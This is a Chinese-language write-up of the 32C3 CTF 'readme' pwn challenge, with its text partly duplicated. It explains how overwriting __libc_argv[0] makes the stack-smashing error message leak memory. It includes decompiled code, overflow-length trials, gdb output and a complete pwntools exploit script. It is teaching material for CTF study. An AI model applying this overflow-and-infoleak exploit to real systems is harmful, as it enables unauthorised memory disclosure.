32C3-CTF README
2017-05-30 19:45
1096 查看
本篇文章还有下面一篇文章要介绍CTF中另一种栈溢出的应用:基于报错类型的栈保护.文件地址:https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200
什么叫做基于报错类型的栈保护?
答:就是在程序出现栈溢出的时候,出现错误提示并将程序的名称显现出来.类似:
下面介绍一下如何使用这个漏洞.还是老样子,拿实例说话.
对该程序进行分析:
flag就在这个程序中,只不过这个flag不是我们下载程序中的flag.主要程序就这一个函数,从这个函数我们也可以看出程序有canary保护.
跑起来:
最后可以发现:overwrite the flag的时候,不论输入什么程序都退出来.
从函数中我们可以发现:
该程序的溢出点在第一次输入.当我们在name处输入过多的字符的时候,会出现栈溢出的情况.
此时显示出来了程序名,触发了保护机制.
保护机制是如何工作的呢?
一般呢,该程序在工作时,程序会随机生成一个值,将该值分别放在两个位置.一个是在gs段中,另一个是在当前函数的栈帧中.当输入过多的字符将这个随机值覆盖了之后,程序在离开函数的时候会进行校验,这个随机值是否发生改变.如果发生改变,则触发 ___stack_chk_fail函数.
引一段老外的wp:
However, the stack smashing protection Fortify suffers from an infoleak: If we can overwrite the program name pointer __libc_argv[0], which can be seen in the error message above, then we can leak memory data.
大致意思就是:FortifySource保护会泄漏内存信息,如果我们能够覆写__libc_argv[0],我们就能够泄漏一些内存信息
而本程序就是Fortify Source保护.
溢出距离怎么找?
这个我给出两种方法:
URL:https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200,这个是本题的英文讲解,还算通俗易懂.评价:不是通用的方法,是一个巧方法.
就是一个一个试,其实也试不了几次就出来了.
原则:设距离为n,n-1个A时,程序名出现;n个A时,程序名无.
接下来就是要填充flag的地址了.
通过gdb发现flag在本程序中有两处,这两处是只读的变量,地址不会改变:
但是我们填充第一处.如果填充第二处,则0x600d20处的内容会被第二次的输入覆盖掉.输出不了flag.
还有一个问题是:这个错误提示只会显示在远端,不会返回到我们这端.
必须设置如下环境变量:LIBC_FATAL_STDERR_=1,才能实现将标准错误信息通过管道输出到远程shell中。因此,我们还必须设置该参数。
该参数的设置正好用到了我们的第2个输入字符串str(看来题目没有任何冗余呀),即将“LIBC_FATAL_STDERR_=1”作为str输入进去,并将user字符串的溢出长度再增加16字节,如图所示:
上图中,蓝框以下部分都是环境变量,正好紧挨着上面红框中的argv[0]。也就是说,在通过溢出将上图中红框内的argv[0]指针指向0x400D20后,我们还需将蓝框中的地址覆盖为0x600D20,该地址保存着我们输入的字符串str:LIBC_FATAL_STDERR_=1,巧妙地修改了环境变量。
最终的exp.py:
什么叫做基于报错类型的栈保护?
答:就是在程序出现栈溢出的时候,出现错误提示并将程序的名称显现出来.类似:
./test $(python -c 'print "A"*50') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA *** stack smashing detected ***: ./test terminated Aborted (core dumped) 将程序名test显示了出来
下面介绍一下如何使用这个漏洞.还是老样子,拿实例说话.
对该程序进行分析:
int sub_4007E0() { __int64 v0; // rax@1 __int64 v1; // rbx@2 int v2; // eax@3 __int64 v4; // [sp+0h] [bp-128h]@1 __int64 v5; // [sp+108h] [bp-20h]@1 v5 = *MK_FP(__FS__, 40LL); __printf_chk(1LL, "Hello!\nWhat's your name? "); LODWORD(v0) = _IO_gets(&v4); if ( !v0 ) LABEL_9: _exit(1); v1 = 0LL; __printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: "); while ( 1 ) { v2 = _IO_getc(stdin); if ( v2 == -1 ) goto LABEL_9; if ( v2 == 10 ) break; byte_600D20[v1++] = v2; if ( v1 == 32 ) goto LABEL_8; } memset((void *)((signed int)v1 + 6294816LL), 0, (unsigned int)(32 - v1)); LABEL_8: puts("Thank you, bye!"); return *MK_FP(__FS__, 40LL) ^ v5; }
flag就在这个程序中,只不过这个flag不是我们下载程序中的flag.主要程序就这一个函数,从这个函数我们也可以看出程序有canary保护.
跑起来:
./readme.bin Hello! What's your name? bill Nice to meet you, bill. Please overwrite the flag: flag Thank you, bye!
最后可以发现:overwrite the flag的时候,不论输入什么程序都退出来.
从函数中我们可以发现:
LODWORD(v0) = _IO_gets(&v4);//输入到地址中 v2 = _IO_getc(stdin); //输入到标准输入流中
该程序的溢出点在第一次输入.当我们在name处输入过多的字符的时候,会出现栈溢出的情况.
python -c 'print "A"*400+"\n"+"hello"'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: ./readme.bin terminated Aborted (core dumped)
此时显示出来了程序名,触发了保护机制.
保护机制是如何工作的呢?
一般呢,该程序在工作时,程序会随机生成一个值,将该值分别放在两个位置.一个是在gs段中,另一个是在当前函数的栈帧中.当输入过多的字符将这个随机值覆盖了之后,程序在离开函数的时候会进行校验,这个随机值是否发生改变.如果发生改变,则触发 ___stack_chk_fail函数.
引一段老外的wp:
However, the stack smashing protection Fortify suffers from an infoleak: If we can overwrite the program name pointer __libc_argv[0], which can be seen in the error message above, then we can leak memory data.
大致意思就是:FortifySource保护会泄漏内存信息,如果我们能够覆写__libc_argv[0],我们就能够泄漏一些内存信息
而本程序就是Fortify Source保护.
溢出距离怎么找?
这个我给出两种方法:
URL:https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200,这个是本题的英文讲解,还算通俗易懂.评价:不是通用的方法,是一个巧方法.
就是一个一个试,其实也试不了几次就出来了.
python -c 'print "A"*400+"\n"+"hello"'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: ./readme.bin terminated Aborted (core dumped) python -c 'print "A"*500+"\n"+"hello"'|./readme.bin Hello! What's your name? Nice to meet you, AAA..... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: ./readme.bin terminated Aborted (core dumped) ...... python -c 'print "A"*536+"\n"+"hello"'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: terminated Aborted (core dumped)
原则:设距离为n,n-1个A时,程序名出现;n个A时,程序名无.
接下来就是要填充flag的地址了.
通过gdb发现flag在本程序中有两处,这两处是只读的变量,地址不会改变:
find "32C3_TheServerHasTheFlagHere..." Searching for '32C3_TheServerHasTheFlagHere...' in: None ranges Found 2 results, display max 2 items: readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...") readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")
但是我们填充第一处.如果填充第二处,则0x600d20处的内容会被第二次的输入覆盖掉.输出不了flag.
还有一个问题是:这个错误提示只会显示在远端,不会返回到我们这端.
必须设置如下环境变量:LIBC_FATAL_STDERR_=1,才能实现将标准错误信息通过管道输出到远程shell中。因此,我们还必须设置该参数。
该参数的设置正好用到了我们的第2个输入字符串str(看来题目没有任何冗余呀),即将“LIBC_FATAL_STDERR_=1”作为str输入进去,并将user字符串的溢出长度再增加16字节,如图所示:
上图中,蓝框以下部分都是环境变量,正好紧挨着上面红框中的argv[0]。也就是说,在通过溢出将上图中红框内的argv[0]指针指向0x400D20后,我们还需将蓝框中的地址覆盖为0x600D20,该地址保存着我们输入的字符串str:LIBC_FATAL_STDERR_=1,巧妙地修改了环境变量。
最终的exp.py:
from pwn import * addr_ow_flag = 0x600d20 addr_flag = 0x400d20 #H,P = 'localhost', 6666 r = process('./readme.bin') #r = remote(H,P) junk = r.recvuntil("What's your name? ") exploit = "A"*0x218 exploit += p64(addr_flag) exploit += p64(0) exploit += p64(addr_ow_flag) r.sendline(exploit) junk += r.recvuntil("Please overwrite the flag: ") exploit = "LIBC_FATAL_STDERR_=1" r.sendline(exploit) junk += r.recvall() print junk
相关文章推荐
- STLport README for Microsoft Visual C++ compilers[转]
- 编译方法详见libjingle\README
- ONE readme study
- Code Recyclebin Contact me QQ:149906878 Write operations are not allowed in read-only mode (FlushMo
- Install Shield Lanch Readme
- CJL.0.1.min.js readme
- /Documentation/arm/README
- could not read data from '/Users/iamme/Documents/XCode/myapp/myapp/myapp-Info.plist': The file “myap
- LoRDEC 0.5 - README file
- uboot readme 3
- memcached readme
- rspec-rails readme
- an out of memory error has occurred.Consult the 'running eclipse' section of the read me file for...
- openwhish app readme
- uClinux ReadMe
- github readme中添加图片说明或者gif
- linux2.6.1/docs/README
- KMP Client README
- Lsof Readme and Quick Start for Lsof(1,2,3)
- MongoDB README